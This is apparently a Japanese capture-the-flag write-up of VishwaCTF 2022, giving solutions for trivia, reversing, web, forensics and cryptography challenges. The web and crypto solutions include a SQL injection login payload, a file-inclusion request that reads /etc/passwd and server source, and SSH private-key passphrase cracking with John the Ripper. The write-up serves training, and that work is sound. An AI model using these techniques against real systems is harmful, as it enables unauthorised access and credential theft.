この大会は2022/3/19 19:30(JST)~2022/3/21 19:30(JST)に開催されました。
今回もチームで参戦。結果は8951点で748チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。
Flag Format (Welcome)
問題にフラグが書いてあった。
vishwactf{this_is_the_flag}
Discord (Welcome)
Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。
vishwaCTF{welcometovishwaCTF}
Trivia 1 (General)
Offensive Security によって管理されているLInuxディストリビューションを答える問題。
Googleで以下のキーワードで検索すると、Kali Linuxであることがわかる。
Debian-derived Linux Offensive Security
vishwaCTF{Kali_Linux}
Trivia 2 (General)
コンピュータでウイルスという用語を作り出した人の名前を答える問題。
Googleで以下のキーワードで検索すると、Frederick Cohenであることがわかる。
coined the term virus in computer
vishwaCTF{Frederick_Cohen}
Trivia 3 (General)
Windows 95のファイルに感染した最初のウイルスを答える問題。
Googleで以下のキーワードで検索すると、Bozaであることがわかる。
first virus to infect Windows 95 files
vishwaCTF{Boza}
The Threat Royale (Threat Royale)
CTFTIMEのVishwaCTF 2022のページにリンクされているThe Threat RoyaleのGoogleアンケートフォームでアンケートに答えたら、フラグが表示された。
vishwactf{thankyouforregistering}
OverCook (Reverse Engineering)
$ gdb -q ./vuln Reading symbols from ./vuln...done. gdb-peda$ i func All defined functions: File vuln.c: void getMessage(); int main(int, char **); int printflag(); Non-debugging symbols: 0x00001000 _init 0x00001030 printf@plt 0x00001040 gets@plt 0x00001050 exit@plt 0x00001060 __libc_start_main@plt 0x00001070 __cxa_finalize@plt 0x00001080 _start 0x000010c0 __x86.get_pc_thunk.bx 0x000010d0 deregister_tm_clones 0x00001110 register_tm_clones 0x00001160 __do_global_dtors_aux 0x000011b0 frame_dummy 0x000011b5 __x86.get_pc_thunk.dx 0x00001360 __libc_csu_init 0x000013c0 __libc_csu_fini 0x000013c1 __x86.get_pc_thunk.bp 0x000013c8 _fini gdb-peda$ start [----------------------------------registers-----------------------------------] EAX: 0xf7fafdd8 --> 0xffffd03c --> 0xffffd211 ("CLUTTER_IM_MODULE=xim") EBX: 0x56559000 --> 0x3efc ECX: 0xffffcfa0 --> 0x1 EDX: 0xffffcfc4 --> 0x0 ESI: 0xf7fae000 --> 0x1d4d8c EDI: 0x0 EBP: 0xffffcf88 --> 0x0 ESP: 0xffffcf80 --> 0xffffcfa0 --> 0x1 EIP: 0x565561d3 (<main+26>: call 0x565561e2 <getMessage>) EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x565561c7 <main+14>: push ecx 0x565561c8 <main+15>: call 0x565560c0 <__x86.get_pc_thunk.bx> 0x565561cd <main+20>: add ebx,0x2e33 => 0x565561d3 <main+26>: call 0x565561e2 <getMessage> 0x565561d8 <main+31>: sub esp,0xc 0x565561db <main+34>: push 0x0 0x565561dd <main+36>: call 0x56556050 <exit@plt> 0x565561e2 <getMessage>: push ebp No argument [------------------------------------stack-------------------------------------] 0000| 0xffffcf80 --> 0xffffcfa0 --> 0x1 0004| 0xffffcf84 --> 0x0 0008| 0xffffcf88 --> 0x0 0012| 0xffffcf8c --> 0xf7df1fa1 (<__libc_start_main+241>: add esp,0x10) 0016| 0xffffcf90 --> 0xf7fae000 --> 0x1d4d8c 0020| 0xffffcf94 --> 0xf7fae000 --> 0x1d4d8c 0024| 0xffffcf98 --> 0x0 0028| 0xffffcf9c --> 0xf7df1fa1 (<__libc_start_main+241>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Temporary breakpoint 1, main (argc=0x1, argv=0xffffd034) at vuln.c:12 12 vuln.c: そのようなファイルやディレクトリはありません.
printflag()関数をコールしてみる。
gdb-peda$ call printflag() 114 051 118 101 114 115 049 110 103 095 100 117 100 051 $1 = 0x0
ASCIIコードが出力されたので、デコードしてみる。
>>> codes = [114, 51, 118, 101, 114, 115, 49, 110, 103, 95, 100, 117, 100, 51] >>> ''.join([chr(code) for code in codes]) 'r3vers1ng_dud3'
vishwaCTF{r3vers1ng_dud3}
Take Your Time (Reverse Engineering)
Ghidraでデコンパイルする。
undefined8 main(void) { time_t tVar1; uint local_74; uint local_70; uint local_6c; char local_68 [80]; uint local_18; uint local_14; uint local_10; uint local_c; tVar1 = time((time_t *)0x0); local_10 = (uint)tVar1; srand(local_10); local_14 = rand(); local_c = (local_14 - 3) * 3; if ((local_c & 1) != 0) { local_c = local_c - 1; } local_18 = (int)local_c / 2 + 7; puts("Guess The numbers that i am thinking..."); printf("Enter first number: "); __isoc99_scanf(&DAT_00102045,&local_6c); printf("Enter second number: "); __isoc99_scanf(&DAT_00102045,&local_70); printf("Enter third number: "); __isoc99_scanf(&DAT_00102045,&local_74); if (((local_14 == local_6c) && (local_c == local_70)) && (local_18 == local_74)) { itachi(); } else { puts("wrong guess "); sprintf(local_68,"%d %d %d %d",(ulong)local_10,(ulong)local_14,(ulong)local_c,(ulong)local_18); puts(local_68); } return 0; }
現在時刻をseedにしてランダム値を算出している。別プログラムで算出した結果を入力する。
$ cat solve.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <time.h> void main(){ time_t tVar1; unsigned int local_18; unsigned int local_14; unsigned int local_10; unsigned int local_c; tVar1 = time((time_t *)0x0); local_10 = (uint)tVar1; srand(local_10); local_14 = rand(); local_c = (local_14 - 3) * 3; if ((local_c & 1) != 0) { local_c = local_c - 1; } local_18 = (int)local_c / 2 + 7; printf("%d\n", local_14); printf("%d\n", local_c); printf("%d\n", local_18); } $ gcc solve.c -o solve $ ./solve 1916668937 1455039506 727519760 $ ./revme Guess The numbers that i am thinking... Enter first number: 1916668937 Enter second number: 1455039506 Enter third number: 727519760 t!m3_!5_m0n3y
vishwaCTF{t!m3_!5_m0n3y}
Corrupted Image (Reverse Engineering)
BMPの先頭2バイトが壊れているので、修正すると、修正した画像にフラグが書いてあった。
VishwaCTF{Windows.lul}
My Useless Webiste (Web)
ログイン画面のページで、おそらくSQLインジェクションの問題。ただし、HTMLソースコードを見ると、スペース文字は使用できない。
以下の情報でログインすると、フラグが表示された。
username: '/**/or/**/1=1/**/-- password: a
VishwaCTF{I_Kn0w_Y0u_kn0W_t1hs_4lr3ady}
Stock Bot (Web)
HTMLソースを見ると、"flag"を含むメッセージの送信はできない。他のメッセージの場合、/Products/check.php?product=?+msgにアクセスしているようだ。
https://st0ck-b0t.vishwactf.com/Products/check.php?product=/etc/passwdにアクセスする。
{"Quantity":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nsync:x:5:0:sync:\/sbin:\/bin\/sync\nshutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\nhalt:x:7:0:halt:\/sbin:\/sbin\/halt\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/sbin\/nologin\ngames:x:12:100:games:\/usr\/games:\/sbin\/nologin\nftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\nnobody:x:65534:65534:Kernel Overflow User:\/:\/sbin\/nologin\ntss:x:59:59:Account used for TPM access:\/dev\/null:\/sbin\/nologin\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin\nsystemd-coredump:x:999:997:systemd Core Dumper:\/:\/sbin\/nologin\nsystemd-resolve:x:193:193:systemd Resolver:\/:\/sbin\/nologin\ndefault:x:1001:0:Default Application User:\/opt\/app-root\/src:\/sbin\/nologin\napache:x:48:48:Apache:\/usr\/share\/httpd:\/sbin\/nologin\nnginx:x:998:995:Nginx web server:\/var\/lib\/nginx:\/sbin\/nologin\n"}
https://st0ck-b0t.vishwactf.com/Products/check.php?product=check.phpにアクセスする。
{"Quantity":"<?php \n\n if(isset($_GET['product'])){\n $product = $_GET['product'];\n header('Content-type: application\/json');\n if(strpos($product,'Flag')){\n $data = array('Flag' => file_get_contents($product));\n }\n else{\n $data = array('Quantity' => file_get_contents($product));\n }\n echo json_encode($data);\n }\n\n?>"}
https://st0ck-b0t.vishwactf.com/Products/check.php?product=Flagにアクセスする。
{"Quantity":"VishwaCTF{b0T_kn0w5_7h3_s3cr3t}"}
VishwaCTF{b0T_kn0w5_7h3_s3cr3t}
Request Me FLAG (Web)
HTTPのリクエストメソッドとしてFLAGを指定して、リクエストしてみる。
$ curl https://r3qu35t-m3-fl4g.vishwactf.com/ -X FLAG -v * Trying 54.191.48.192... * TCP_NODELAY set * Connected to r3qu35t-m3-fl4g.vishwactf.com (54.191.48.192) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/certs/ca-certificates.crt CApath: /etc/ssl/certs * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS Unknown, Certificate Status (22): * TLSv1.3 (IN), TLS handshake, Unknown (8): * TLSv1.3 (IN), TLS Unknown, Certificate Status (22): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS Unknown, Certificate Status (22): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS Unknown, Certificate Status (22): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Client hello (1): * TLSv1.3 (OUT), TLS Unknown, Certificate Status (22): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=*.vishwactf.com * start date: Feb 16 04:32:25 2022 GMT * expire date: May 17 04:32:24 2022 GMT * subjectAltName: host "r3qu35t-m3-fl4g.vishwactf.com" matched cert's "*.vishwactf.com" * issuer: C=US; O=Let's Encrypt; CN=R3 * SSL certificate verify ok. * TLSv1.3 (OUT), TLS Unknown, Unknown (23): > FLAG / HTTP/1.1 > Host: r3qu35t-m3-fl4g.vishwactf.com > User-Agent: curl/7.58.0 > Accept: */* > * TLSv1.3 (IN), TLS Unknown, Certificate Status (22): * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * TLSv1.3 (IN), TLS Unknown, Certificate Status (22): * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * TLSv1.3 (IN), TLS Unknown, Unknown (23): < HTTP/1.1 200 OK < date: Mon, 21 Mar 2022 07:45:53 GMT < server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k < flag: VishwaCTF{404_1s_ju57_4n_i11u5ion} < content-length: 0 < content-type: text/html; charset=UTF-8 < set-cookie: ba7325290a5d689b518b8e038a3c7439=1241d4c0fb9ad64b803f19e348d6f46c; path=/; HttpOnly; Secure; SameSite=None < * Connection #0 to host r3qu35t-m3-fl4g.vishwactf.com left intact
レスポンスヘッダのflagにフラグが設定されていた。
VishwaCTF{404_1s_ju57_4n_i11u5ion}
Strong Encryption (Web)
暗号化処理は以下の通り。
・$Key: "VishwaCTF"の各文字のASCIIコードに69プラスした値を文字列として結合。 →"155174184173188166136153139" ・$tmpKey: "VishwaCTF"の各文字のASCIIコードに69プラスした値をASCIIコードとして文字にして結合。 ・$rKeyHex: 69を16進表記 →"45" ・$enKeyHash: $tmpKeyのsha256 →2f12f4712f4c769a75b33cb995fa169056168939a8b0b28eafe0d724f18dc4a7 ・フラグの各文字のASCIIコードにkeyの各数値を足し、16進表記で結合 さらに$rKeyHexと$enKeyHashを結合 →暗号化データ
以上のことを元に復号する。
#!/usr/bin/env python3 Key = '155174184173188166136153139' rKeyHex = '45' enKeyHash = '2f12f4712f4c769a75b33cb995fa169056168939a8b0b28eafe0d724f18dc4a7' encTxt = '576e78697e65445c4a7c8033766770357c3960377460357360703a6f6982452f12f4712f4c769a75b33cb995fa169056168939a8b0b28eafe0d724f18dc4a7' assert encTxt[-len(enKeyHash):] == enKeyHash assert encTxt[-len(enKeyHash)-len(rKeyHex):-len(enKeyHash)] == rKeyHex strHex = encTxt[:-len(enKeyHash)-len(rKeyHex)] flag = '' for i in range(len(strHex) // 2): code = int(strHex[i*2:i*2+2], 16) - int(Key[i%len(Key)]) flag += chr(code) print(flag)
VishwaCTF{y0u_h4v3_4n_0p_m1nd}
The Last Jedi (Forensic)
jpgの後ろに、ダミーのフラグテキスト、その後ろにrarがくっついていた。rarを切り出し、解凍すると、jpgファイルが展開される。展開されたjpgファイルの末尾に以下のように書いてある。
flag:{H1DD3N_M34N1NG}
vishwactf{H1DD3N_M34N1NG}
So Forgetful! (Forensic)
HTTPでフィルタリングする。No.112パケットにPOSTしている情報がある。
Form item: "userid" = "spiveyp" Form item: "pswrd" = "S04xWjZQWFZ5OQ=="
$ echo S04xWjZQWFZ5OQ== | base64 -d KN1Z6PXVy9
vishwactf{KN1Z6PXVy9}
John the Rocker (Cryptography)
$ file idrsa.id_rsa.docx idrsa.id_rsa.docx: PEM RSA private key $ cat idrsa.id_rsa.docx -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,115D424076ADCE7E40ACC1E44E4E791A flkT1+aCoQZ4YBHg2VRW3x4HzlEKFwqQ+ePMzEi2BIREHXDtHR1+QUrYRSQLzP4E jDSkmPWPoTvTXRAyXKrQL8FzkvYDcP9hjkzt41tjsRHz2nkI9K+WFm8DNi6qVS9H J/yWZdvUED6XwwxTFe6D01GwU7yc7xheE4GlIBazk68Q0tNuH34H8T+hnfkTyNA6 BJL861zNhZNIoWm/352vYydnT/HynugCGn+TIu88C+tLBpcLdLSh50OgTiZ8QK2A Z82PoPfD1ziVmg7E4BIY1/1qJnNxCMTzUG4PbjLpdkRxHu5aOGzbGZK4K0inDNfr B7ZedUOCSUTN0VGl5/spDO506vSOjzGL9/iDhYNBRvn4hW3VlPE6nRXAQ78r4Z49 ou0r2x7WvzrpFOPXjvlNHUFyWF9x5ZWsqNnr3PFL2wlCVvGq2z/mWvFdmy0tr6nV FjEpOwrKMt0hvTcCwry8FKAyPDFafpZq4fg90Jd9xCYWJIZMxuEPOY0jfcSC7QOy woOhMMCFA3mbJJWOAOKynZdx/7fe/0+Q0XMlljDNXNGNqKRqS9OUhKH967FYxw4W AQHrN2NdT5WoXJhbDu67Z2jb89LAFR+uBlaxauLSYEFatKmAp/IXR4yTX4yn6Ur2 mlrJ6abOjmi+/LcvMN+qCx7pB//MR2HUxcOWdgA5nuXiYBdiSKj8h0Sq3IVVjDFd Oj1t0D9m6AUsV32qbiXwiiCkOOMHVZH+6sc1ZMKNwR1WGvFBNyR0DVxlXAzyR7zP nRUXCLihj696lm+Ywe6xsDOPJMl4RHOAvf+cj3fkI3WKhfhTUhoLrEZmIFDNhKrn JCe4m9p+aNuPSuXL07bxKbYT6D4wlVE4OlkwZyAfc5R/cfE5JYFgwoIW5RJC9nh1 ru/aBj+464986pteEfI0e3nAuDquEvs37Oxv77n/AdW7QmySIb7RrpUfOCcq+rBt 4zg1cS5i2TX1l25h036E45Rn+efM9QBKQEChhgqfLZ9rbQqqm1coOok4sZZ1tWap 7352duKI9fzMq35P9u4T168sYSvZoa2hK7eZZ3KA/MK8u6B1yFiB1E2rEZGnVeOU KLt1IFxygxZl9yO5yb4pa8tl6yKO46+OYmCe9ie7FkOEeq85a0xm0OB3HVxL/40/ 116u2fJCRoDBjNZ1J4ujYwYUpWEfVoN26KRRiyRMJbHX9QwuW6k+b1OjLgjU2IaR 4BgG6xBTmM3fRQZhWbJ+06ibWDcIRdZOP02iksp/LdJtqtuYIWf2epUx3oBMrSN/ bFDUmLDzfSUCvz4MdZNp8FE1ElM2NK9PWYPe3XA5lzjkl9jxWD7M4WKLTjQJu9P0 PB4x+nHPj5j6XONZ74IbM1f7S4oRuhBCs5hPMgxDr7xSa0ROFsTauCeQ6N22JwIk GzMpmzBzJtL5/SzFCuN148sMUOASnXLSYd79dB15M0nVRo6Iz9mytF/QVuci+8h+ 6luGQBgih+L5ghx1qvUXwNyU+Id9fZYRA8pH2hy5pPWVsaws/1cLOc5PBzOaql7G 90iM4IyzSN2AO8/6HnSJ9tZSCG5cdRq+r1ROF30QnvnUowsbq0eeT4TVfb+kCaHx -----END RSA PRIVATE KEY-----
添付ファイルはSSHの秘密鍵で、問題のタイトルからもクラックすればよさそう。
$ ssh2john.py idrsa.id_rsa.docx > hash.txt $ john --wordlist=dict/rockyou.txt hash.txt --rules Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status !!**john**!! (idrsa.id_rsa.docx) 1g 0:00:02:35 DONE (2022-03-19 22:40) 0.006449g/s 1506Kp/s 1506Kc/s 1506KC/s Aaaaasing..Aaaaaaaaaaaaing Session completed
vishwactf{!!**john**!!}
JumbleBumble (Cryptography)
nが大きく、eが小さいため、Low Public-Exponent Attackで復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * import gmpy2 with open('JumbleBumble.txt', 'r') as f: lines = f.read().splitlines() cs = [] for i in range(0, len(lines), 4): c = int(lines[i+2]) cs.append(c) for c in cs: m, success = gmpy2.iroot(c, 4) if success == False: print('Error') else: flag = long_to_bytes(m).decode() if flag.startswith('VishwaCTF'): print(flag) break
VishwaCTF{c4yp70gr2phy_1s_n07_e25y}
Tallest Header (Cryptography)
$ binwalk file.extension DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 12 0xC TIFF image data, big-endian, offset of first image directory: 8 19545 0x4C59 Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns 20155 0x4EBB Copyright string: "CopyrightFlag="true" photoshop:Country="Italy" photoshop:DateCreated="2019-12-18" photoshop:Credit="AFP via Getty Images" photos" 24773 0x60C5 Copyright string: "Copyright (c) 1998 Hewlett-Packard Company" 269644 0x41D4C Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 412, name: encrypt.py 269873 0x41E31 Zip archive data, at least v2.0 to extract, compressed size: 69, uncompressed size: 69, name: info.txt 270090 0x41F0A End of Zip archive $ foremost file.extension Processing: file.extension |foundat=encrypt.py}�M �0���wBb�[����N4Ӑ�`oo�ژ�8�y3���4( foundat=info.txtkey = [2,1,3,5,4] ciphertext = RT1KC _YH43 3DRW_ T1HP_ R3M7U TA1N0PK *|
zipを抽出でき、展開すると、それぞれファイルにはこう書いてあった。
■info.txt key = [2,1,3,5,4] ciphertext = RT1KC _YH43 3DRW_ T1HP_ R3M7U TA1N0 ■encrypt.py def encrypt(key, plaintext): plaintext = "".join(plaintext.split(" ")).upper() ciphertext = "" for pad in range(0, len(plaintext) % len(key) * -1 % len(key)): plaintext += "X" for offset in range(0, len(plaintext), len(key)): for element in [a - 1 for a in key]: ciphertext += plaintext[offset + element] ciphertext += " " return ciphertext[:-1]
info.txtを前提に暗号化する処理の概要は以下の通り。
・スペース削除し、大文字にする。 ・文字列長が5の倍数になるよう"X"でパディングする。 ・5文字ごとにkeyの順番になるよう転置する。
このことを前提に復号する。
#!/usr/bin/env python3 def decrypt(key, ciphertext): ct = ciphertext.split(' ') pt = '' for c in ct: p = '' for k in key: p += c[k - 1] pt += p return pt.rstrip('X') key = [2, 1, 3, 5, 4] ciphertext = 'RT1KC _YH43 3DRW_ T1HP_ R3M7U TA1N0' plaintext = decrypt(key, ciphertext) print(plaintext)
復号結果は以下の通り。
TR1CKY_H34D3R_W1TH_P3RMU7AT10N
VishwaCTF{TR1CKY_H34D3R_W1TH_P3RMU7AT10N}